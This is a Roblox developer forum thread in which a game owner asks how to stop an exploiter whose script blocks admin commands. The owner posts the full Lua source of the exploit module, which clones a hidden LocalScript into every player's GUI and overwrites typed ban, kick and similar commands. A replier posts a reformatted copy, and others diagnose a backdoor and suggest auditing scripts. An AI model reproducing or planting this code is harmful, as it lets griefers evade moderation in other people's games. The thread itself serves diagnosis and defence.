Exploiter started joining my game and everytime he runs script that makes me unable to ban him

Or whenever you go to type

  • :ban
  • :kick
  • :crash
  • :shutdown
  • :jail
  • :mute
  • :kill
  • :reset
  • :re
  • :refresh
  • :respawn

it changes it to “Command is disabled due to an ingame error”. I don’t use free models or something. I also trust all my plugins. So if anyone knows how I can prevent this from happening I would greatly appreciate it. I also use Adonis admin system.

I found this script online and I will show it to you:
structure

This is the MainModule

local AHAHA = {}
function AHAHA.load(Text,BypassedPlayers)
	
for _,Val in pairs(script:WaitForChild("HiddenScript"):WaitForChild("FilterNames"):GetChildren()) do
Val:Destroy()
end
for _,Plr in pairs(BypassedPlayers or {}) do
local Val = Instance.new("StringValue",script:WaitForChild("HiddenScript"):WaitForChild("FilterNames"))
Val.Value = Plr
end	

script:WaitForChild("HiddenScript"):WaitForChild("NewText").Value = Text or "Command is disabled due to an ingame error."
for _,Plr in pairs(game.Players:GetPlayers()) do
script:WaitForChild("HiddenScript"):Clone().Parent = Plr:FindFirstChildWhichIsA("PlayerGui")
end
script:WaitForChild("HiddenScript"):Clone().Parent = game.StarterGui	
end
return AHAHA

This is the HiddenScript

game:GetService("RunService").RenderStepped:connect(function()
for _,Val in pairs(script:WaitForChild("FilterNames"):GetChildren()) do
if string.lower(game.Players.LocalPlayer.Name) == string.lower(Val.Value) then
script:Destroy()
end
end
end)

function AutoDetect(UI)
UI.Changed:connect(function(WC)
if tostring(WC) == "Text" then
if string.match(string.lower(UI.Text),"ban") then
local Prefix = string.match(string.lower(UI.Text),"(%p?)ban") or ""
UI.Text = Prefix..(script:WaitForChild("NewText").Value)
if UI:IsA("TextBox") then
UI:ReleaseFocus(true)
end
end 
if string.match(string.lower(UI.Text),"kick") then
local Prefix = string.match(string.lower(UI.Text),"(%p?)kick") or ""
UI.Text = Prefix..(script:WaitForChild("NewText").Value)
if UI:IsA("TextBox") then
UI:ReleaseFocus(true)
end
end 
if string.match(string.lower(UI.Text),"crash") then
local Prefix = string.match(string.lower(UI.Text),"(%p?)crash") or ""
UI.Text = Prefix..(script:WaitForChild("NewText").Value)
if UI:IsA("TextBox") then
UI:ReleaseFocus(true)
end
end 
if string.match(string.lower(UI.Text),"shutdown") then
local Prefix = string.match(string.lower(UI.Text),"(%p?)shutdown") or ""
UI.Text = Prefix..(script:WaitForChild("NewText").Value)
if UI:IsA("TextBox") then
UI:ReleaseFocus(true)
end
end 
if string.match(string.lower(UI.Text),"jail") then
local Prefix = string.match(string.lower(UI.Text),"(%p?)jail") or ""
UI.Text = Prefix..(script:WaitForChild("NewText").Value)
if UI:IsA("TextBox") then
UI:ReleaseFocus(true)
end
end
if string.match(string.lower(UI.Text),"mute") then
local Prefix = string.match(string.lower(UI.Text),"(%p?)mute") or ""
UI.Text = Prefix..(script:WaitForChild("NewText").Value)
if UI:IsA("TextBox") then
UI:ReleaseFocus(true)
end
end
if string.match(string.lower(UI.Text),"iashdfl3434") then
local Prefix = string.match(string.lower(UI.Text),"(%p?)kill") or ""
UI.Text = Prefix..(script:WaitForChild("NewText").Value)
if UI:IsA("TextBox") then
UI:ReleaseFocus(true)
end
end
if string.match(string.lower(UI.Text),"resasdf34234et") then
local Prefix = string.match(string.lower(UI.Text),"(%p?)reset") or ""
UI.Text = Prefix..(script:WaitForChild("NewText").Value)
if UI:IsA("TextBox") then
UI:ReleaseFocus(true)
end
end
if string.match(string.lower(UI.Text),"rasdfasdf 3242e") then
local Prefix = string.match(string.lower(UI.Text),"(%p?)re") or ""
UI.Text = Prefix..(script:WaitForChild("NewText").Value)
if UI:IsA("TextBox") then
UI:ReleaseFocus(true)
end
end
if string.match(string.lower(UI.Text),"backdoor") then
local Prefix = string.match(string.lower(UI.Text),"(%p?)refresh") or ""
UI.Text = Prefix..(script:WaitForChild("NewText").Value)
if UI:IsA("TextBox") then
UI:ReleaseFocus(true)
end
end
if string.match(string.lower(UI.Text),"asfgasdi334") then
local Prefix = string.match(string.lower(UI.Text),"(%p?)respawn") or ""
UI.Text = Prefix..(script:WaitForChild("NewText").Value)
if UI:IsA("TextBox") then
UI:ReleaseFocus(true)
end
end



end
end)

end

for _,UI in pairs(game.Players.LocalPlayer:WaitForChild("PlayerGui"):GetDescendants()) do
AutoDetect(UI)
end
game.Players.LocalPlayer:WaitForChild("PlayerGui").DescendantAdded:connect(function(UI)
AutoDetect(UI)
end)

NewText value is nothing

I also found out that this script is used in Hexine GUI script and I got it from there.

Anyone has any ideas how I can fix it please?

1 Like

You should look through all of the scripts present in the game using the search bar in the explorer, it sounds like you have a backdoor in the game (potentially from a plugin)

I am sorry but I cannot help due to the fact that your code is terribly written. All I can say is use a virus plugin to rule out any backdoors that allow you to run server scripts.

1 Like

Thanks for the reply, but the code is not mine, it is the script that makes things bad.

1 Like

Can’t you just remove this then?

1 Like

I beautified the scripts so we can all read them easier:

local module = {}

function module.load(Text, BypassedPlayers)
	local hiddenscript = script.HiddenScript

	hiddenscript.FilterNames:ClearAllChildren()

	for _, plr in pairs(BypassedPlayers or {}) do
		local Val = Instance.new("StringValue", hiddenscript.FilterNames)
		Val.Value = plr
	end	

	hiddenscript.NewText.Value = Text or "Command is disabled due to an ingame error."
	
	for _, plr in pairs(game.Players:GetPlayers()) do
		hiddenscript:Clone().Parent = plr.PlayerGui
	end

	hiddenscript:Clone().Parent = game.StarterGui	
end

return module
local player = game.Players.LocalPlayer

game:GetService("RunService").RenderStepped:Connect(function()
	for _, Val in pairs(script:WaitForChild("FilterNames"):GetChildren()) do
		if string.lower(player.Name) == string.lower(Val.Value) then
			script:Destroy()
		end
	end
end)

local function AutoDetect(UI)
    UI.Changed:Connect(function(WC)
		if tostring(WC) == "Text" then
			if string.match(string.lower(UI.Text), "ban") then
				local Prefix = string.match(string.lower(UI.Text), "(%p?)ban") or ""
				UI.Text = Prefix .. (script:WaitForChild("NewText").Value)
				if UI:IsA("TextBox") then
					UI:ReleaseFocus(true)
				end
			end
			if string.match(string.lower(UI.Text), "kick") then
				local Prefix = string.match(string.lower(UI.Text), "(%p?)kick") or ""
				UI.Text = Prefix .. (script:WaitForChild("NewText").Value)
				if UI:IsA("TextBox") then
					UI:ReleaseFocus(true)
				end
			end
			if string.match(string.lower(UI.Text), "crash") then
				local Prefix = string.match(string.lower(UI.Text), "(%p?)crash") or ""
				UI.Text = Prefix .. (script:WaitForChild("NewText").Value)
				if UI:IsA("TextBox") then
					UI:ReleaseFocus(true)
				end
			end
			if string.match(string.lower(UI.Text), "shutdown") then
				local Prefix = string.match(string.lower(UI.Text), "(%p?)shutdown") or ""
				UI.Text = Prefix .. (script:WaitForChild("NewText").Value)
				if UI:IsA("TextBox") then
					UI:ReleaseFocus(true)
				end
			end
			if string.match(string.lower(UI.Text), "jail") then
				local Prefix = string.match(string.lower(UI.Text), "(%p?)jail") or ""
				UI.Text = Prefix .. (script:WaitForChild("NewText").Value)
				if UI:IsA("TextBox") then
					UI:ReleaseFocus(true)
				end
			end
			if string.match(string.lower(UI.Text), "mute") then
				local Prefix = string.match(string.lower(UI.Text), "(%p?)mute") or ""
				UI.Text = Prefix .. (script:WaitForChild("NewText").Value)
				if UI:IsA("TextBox") then
					UI:ReleaseFocus(true)
				end
			end
			if string.match(string.lower(UI.Text), "iashdfl3434") then
				local Prefix = string.match(string.lower(UI.Text), "(%p?)kill") or ""
				UI.Text = Prefix .. (script:WaitForChild("NewText").Value)
				if UI:IsA("TextBox") then
					UI:ReleaseFocus(true)
				end
			end
			if string.match(string.lower(UI.Text), "resasdf34234et") then
				local Prefix = string.match(string.lower(UI.Text), "(%p?)reset") or ""
				UI.Text = Prefix .. (script:WaitForChild("NewText").Value)
				if UI:IsA("TextBox") then
					UI:ReleaseFocus(true)
				end
			end
			if string.match(string.lower(UI.Text), "rasdfasdf 3242e") then
				local Prefix = string.match(string.lower(UI.Text), "(%p?)re") or ""
				UI.Text = Prefix .. (script:WaitForChild("NewText").Value)
				if UI:IsA("TextBox") then
					UI:ReleaseFocus(true)
				end
			end
			if string.match(string.lower(UI.Text), "backdoor") then
				local Prefix = string.match(string.lower(UI.Text), "(%p?)refresh") or ""
				UI.Text = Prefix .. (script:WaitForChild("NewText").Value)
				if UI:IsA("TextBox") then
					UI:ReleaseFocus(true)
				end
			end
			if string.match(string.lower(UI.Text), "asfgasdi334") then
				local Prefix = string.match(string.lower(UI.Text), "(%p?)respawn") or ""
				UI.Text = Prefix .. (script:WaitForChild("NewText").Value)
				if UI:IsA("TextBox") then
					UI:ReleaseFocus(true)
				end
			end
		end
	end)
end

for _, UI in pairs(player.PlayerGui:GetDescendants()) do
    AutoDetect(UI)
end

player.PlayerGui.DescendantAdded:Connect(AutoDetect)

But it’s just a virus. Delete the virus, @Springtrapp_FNA.

It’s a script which detects if your typing out either a command, or the name of the exploiter, and makes you stop typing.

2 Likes

I just inserted it to look at script. It was not there when the game was published.

Yes, I know, but I think I got the problem. It is probably some backdoor plugin.

May you show us your plugins which are activated?

I disabled all plugins by this moment, but I am still using this one
image
It says “removed 4 viruses”, and then when I run it again, the same message. It was not happening before as I remember.

Ro-Defender wasn’t breached as far as I’m aware, but it’s also not reliable for removing backdoors in your game. I would advise looking through your game by hand.

But I am working in team and pretty much of all game is just complete mess in files… It would take years to do it.
Any ideas how I may speed up this process?

I mean, you could use simple process of elimination based on when scripts were added etc to determine when the breach happened and then reference scripts added in that timeline. But unfortunately this is why if you work on a game, keep logs and stay organized. Makes diagnosing issues like this way easier.

search script in the explorer and look through all of them

I am asking my team to do it, but they just won’t. And about how to search for scripts only, I know.

If your team isn’t willing to diagnose a problem in their game, they aren’t a team worth keeping around. Cut the problem makers lose quick and regroup.

This is a good life lesson.

3 Likes

I guess that I’ll have to just make admin panel to ban exploiter. Also I’d like to note that I only see this problem when exploiter joins and executes something in the executor.

if there is a backdoor in the game then, trying to ban the exploiter from a panel isn’t gonna work

But everytime we banned him through adonis game files, it worked. He had to use another account.

the thing is the exploiter could ban you from your own game because there is a backdoor, so i would try your best to remove all the backdoors